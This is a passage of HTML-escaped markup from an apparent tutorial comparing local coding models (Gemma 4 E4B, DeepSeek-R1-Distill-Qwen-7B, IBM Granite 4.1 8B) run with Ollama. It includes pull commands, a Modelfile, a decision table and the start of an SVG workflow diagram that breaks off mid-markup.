can build locally.\u003c/p\u003e\n\u003cp\u003eIt runs incredibly well on constrained hardware, making it the top choice for developers on older laptops or embedded devices where VRAM is severely limited, while still delivering top-tier coding performance.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-dockerfile\" data-lang=\"dockerfile\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eFROM\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003egemma4:e4b\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSYSTEM \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026#34;\u0026#34;You are a highly efficient assistant specializing in multimodal \u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eedge applications and performant code generation.\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026#34;\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePARAMETER num_ctx \u003cspan style=\"color:#ae81ff\"\u003e8192\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eollama pull gemma4:e4b\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"deepseek-r1-distill-qwen-7b-the-reasoning-specialist\"\u003eDeepSeek-R1-Distill-Qwen-7B: The Reasoning Specialist\u003c/h3\u003e\n\u003cp\u003eDeepSeek-R1-Distill-Qwen-7B shines when tasks require deep chain-of-thought reasoning and complex math/logic. When a task requires intricate algorithmic generation or complex refactoring, its distilled reasoning capabilities allow it to perform well beyond its 7B size class.\u003c/p\u003e\n\u003cp\u003eUse it when the task involves heavy logic, math, or complex chain-of-thought generation. Switch to Qwen3.5 or Gemma 4 for standard boilerplate or large-context tasks.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eollama pull deepseek-r1:7b\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"ibm-granite-41-8b-the-compliance-option\"\u003eIBM Granite 4.1 8B: The Compliance Option\u003c/h3\u003e\n\u003cp\u003eIBM Granite 4.1 8B\u0026rsquo;s distinguishing feature is open data. The IBM team released the full training dataset composition and training logs, meaning you can audit exactly what data the model was trained on.\u003c/p\u003e\n\u003cp\u003eWhile it lacks the massive context window of Qwen3.5 (Granite is limited to 8,192 tokens) and the multimodal capabilities of Gemma 4, it generates predictable, structurally sound code. For compliance-sensitive environments where auditable training data is a requirement, it remains a solid choice.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eollama pull granite-code:8b\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"the-decision-matrix\"\u003eThe Decision Matrix\u003c/h3\u003e\n\u003cp\u003eOnce you finish the initial setup, role-based model assignment is the correct mental model:\u003c/p\u003e\n\u003ctable\u003e\n\t\u003cthead\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003cth\u003eUse Case\u003c/th\u003e\n\t\t\t\t\t\u003cth\u003eModel\u003c/th\u003e\n\t\t\t\t\t\u003cth\u003eReason\u003c/th\u003e\n\t\t\t\u003c/tr\u003e\n\t\u003c/thead\u003e\n\t\u003ctbody\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003eLarge file context (\u0026gt;8k tokens)\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eQwen3.5 8B\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e128K native context window (often run at 32K)\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003eUI generation from mockups\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eQwen3.5 8B\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eExceptional vision capabilities for precise UI code\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003eEdge devices / Multimodal AI\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eGemma 4 E4B\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eHigh efficiency (PLE architecture) and native text/image/audio support\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003eComplex algorithms (Python, C++)\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eDeepSeek-R1-Distill-Qwen-7B\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eSuperior chain-of-thought reasoning and logic capability\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003eCompliance-audited environments\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eIBM Granite 4.1 8B\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eOpen training data, fully auditable\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch2 id=\"hands-on-example-hot-swapping-models-session\"\u003eHands-On Example: Hot-Swapping Models Session\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eScenario:\u003c/strong\u003e You\u0026rsquo;re building a web application. Qwen3.5 8B writes the core data processing logic; Gemma 4 E4B generates the UI components.\u003c/p\u003e\n\u003ch3 id=\"diagram\"\u003eDiagram\u003c/h3\u003e\n\u003cp\u003eVisualizes the hot-swapping workflow between specialized local models during development, demonstrating context persistence and role-based execution across VRAM constraints.\u003c/p\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 640 377\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 8,0 L 200,0' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 8,48 L 104,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,48 L 200,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 8,96 L 200,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 416,96 L 608,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 232,112 L 416,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 416,128 L 512,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 512,128 L 608,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 8,144 L 104,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,144 L 200,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 8,208 L 200,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 416,208 L 512,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 512,208 L 608,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 216,224 L 400,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 416,240 L 512,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 512,240 L 608,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 8,256 L 104,256' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,256 L 200,256' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 8,320 L 200,320' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 416,320 L 608,320' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 216,336 L 400,336' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 8,352 L 200,352' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 416,352 L 608,352' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 8,0 L 8,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 8,96 L 8,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 8,208 L 8,256' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 8,320 L 8,352' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,48 L 104,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,144 L 104,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,256 L 104,304' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,0 L 200,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,128 L 200,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,208 L 200,256' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,320 L 200,352' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 216,104 L 216,120' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 416,208 L 416,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 416,320 L 416,352' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 512,128 L 512,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 512,240 L 512,304' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 608,208 L 608,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 608,320 L 608,352' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 624,104 L 624,120' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,80 L 104,88' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='120.000000,80.000000 108.000000,74.400002 108.000000,85.599998' fill='currentColor' transform='rotate(90.000000, 104.000000, 80.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 104,192 L 104,200' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='120.000000,192.000000 108.000000,186.399994 108.000000,197.600006' fill='currentColor' transform='rotate(90.000000, 104.000000, 192.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 104,304 L 104,312' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='120.000000,304.000000 108.000000,298.399994 108.000000,309.600006' fill='currentColor' transform='rotate(90.000000, 104.000000, 304.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='224.000000,336.000000 212.000000,330.399994 212.000000,341.600006' fill='currentColor' transform='rotate(180.000000, 216.000000, 336.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='408.000000,224.000000 396.000000,218.399994 396.000000,229.600006' fill='currentColor' transform='rotate(0.000000, 400.000000, 224.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='424.000000,112.000000 412.000000,106.400002 412.000000,117.599998' fill='currentColor' transform='rotate(0.000000, 416.000000, 112.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 512,304 L 512,312' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='528.000000,304.000000 516.000000,298.399994 516.000000,309.600006' fill='currentColor' transform='rotate(90.000000, 512.000000, 304.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='24' y='20' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='24' y='36' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='24' y='116' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='24' y='132' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='24' y='228' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='24' y='244' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='24' y='340' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='20' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='36' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='116' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='132' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='228' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='244' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='340' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='116' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='132' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='228' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='244' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='340' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='20' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='116' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='132' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='228' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='244' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='20' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='36' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='132' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='244' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='340' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='116' fill='currentColor' style='font-size:1em'\u003eQ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='132' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='228' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='244' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='340' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='20' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='36' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='116' fill='currentColor' style='font-size:1em'\u003ew\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='228' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='340' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='132' fill='currentColor' style='font-size:1em'\u003e~\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='228' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='244' fill='currentColor' style='font-size:1em'\u003e~\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='116' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='132' fill='currentColor' style='font-size:1em'\u003e4\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='228' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='244' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='340' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='20' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='116' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='132' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='228' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='244' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='340' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='20' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='116' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='132' fill='currentColor' style='font-size:1em'\u003e7\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='244' fill='currentColor' style='font-size:1em'\u003e8\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='340' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='20' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='116' fill='currentColor' style='font-size:1em'\u003e5\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='228' fill='currentColor' style='font-size:1em'\u003e4\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='340' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='36' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='132' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='180' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='244' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='292' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='340' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='20' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='116' fill='currentColor' style='font-size:1em'\u003e8\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='180' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='228' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='292' fill='currentColor' style='font-size:1em'\u003e4\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='116' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='132' fill='currentColor' style='font-size:1em'\u003e5\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='180' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='228' fill='currentColor' style='font-size:1em'\u003e4\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='244' fill='currentColor' style='font-size:1em'\u003e4\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='292' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='20' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='132' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='228' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='244' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='20' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='132' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='180' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='244' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='292' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='20' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='36' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='132' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='180' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='244' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='292' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='132' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='180' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='244' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='292' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='20' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='36' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='132' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='180' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='244' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='180' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='292' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='180' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='292' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='292' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='180' fill='currentColor' style='font-size:1em'\u003eQ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='292' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='180' fill='currentColor' style='font-size:1em'\u003ew\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='292' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='180' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='292' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='180' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='292' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='100' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='180' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='212' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='292' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='100' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='180' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='212' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext 